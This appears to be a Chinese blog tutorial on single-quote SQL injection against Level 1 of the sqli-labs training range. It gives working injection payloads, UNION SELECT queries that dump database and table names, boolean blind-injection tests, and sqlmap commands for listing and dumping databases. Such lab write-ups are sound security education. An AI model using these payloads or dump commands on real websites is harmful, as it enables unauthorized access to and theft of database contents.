单引号报错注入---sqli-labs靶场前瞻

单引号报错注入—sqli-labs靶场前瞻

第一关

输入?id=1后正常回显

image-20210506182215083

测试注入点:

构造一下payload:?id=1’or ‘1’='1

image-20210506182437506

正常回显

?id=1’ and ‘1’ = '2

image-20210506182539717

无回显,由此判断此处存在sql注入漏洞,也可以用sqlmap跑一下如下:

测试指定url是否存在sql注入点

sqlmap -u  http://127.0.0.1/sqli-labs/Less-1/?id=1    

image-20210506183042934

image-20210506183231161

前面测得具有回显,sqlmap也表示存在union联合查询

先查找列 ?id=1 ’ order by 3 --+

–+用于注释掉sql语句后面的内容,最终查出返回的列数为3列,列数为4的时候查询出错

在这里插入图片描述

查询数据库名

?id=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)'

在这里插入图片描述

同样可以sqlmap查看

sqlmap -u “http://www.xx.com?id=x”    (查询是否存在注入点)
--dbs         (检测站点包含哪些数据库)
--current-db    (获取当前的数据库名)
--tables -D "db_name"  (获取指定数据库中的表名 -D后接指定的数据库名称)
--columns  -T "table_name" -D "db_name"  (获取数据库表中的字段)
--dump -C "columns_name" -T "table_name" -D "db_name"  (获取字段的数据内容)

sqlmap -u xxx  --dbs

在这里插入图片描述

联合查询:

0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+

在这里插入图片描述

在这里我们使用group_concat函数的作用是,能让查出的这字段的多个数,按字符拼接的方式存放在一起。(作为一行来显示,相当于使用了limit 0,1)
这样就避免对源码中的limit 0,1语句做了过滤,不然直接查询的话的,只会爆出一个字段。

0' union select 1,2, table_name from information_schema.tables where table_schema = database()--+

在这里插入图片描述

布尔盲注:

当后台屏蔽了报错信息的时候我们在这时候,就需要利用盲注来实现猜字段了。
1.基于布尔(正确或者错误)的盲注
因为要保证前后的错误一致性,所以要使用and连接符。
当页面会返回正确和错误两种页面时,这时候就可以利用布尔盲注了。
利用:and 1=1–+ 和and 1=2–+来达到判断是否存在注入。

在这里插入图片描述

一个不报错一个报错,说明存在盲注

在这里插入图片描述

如果后面的语句是对的,就会返回一个正确的页面,而不返回正确的页面,就说明,后面的语句是错的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值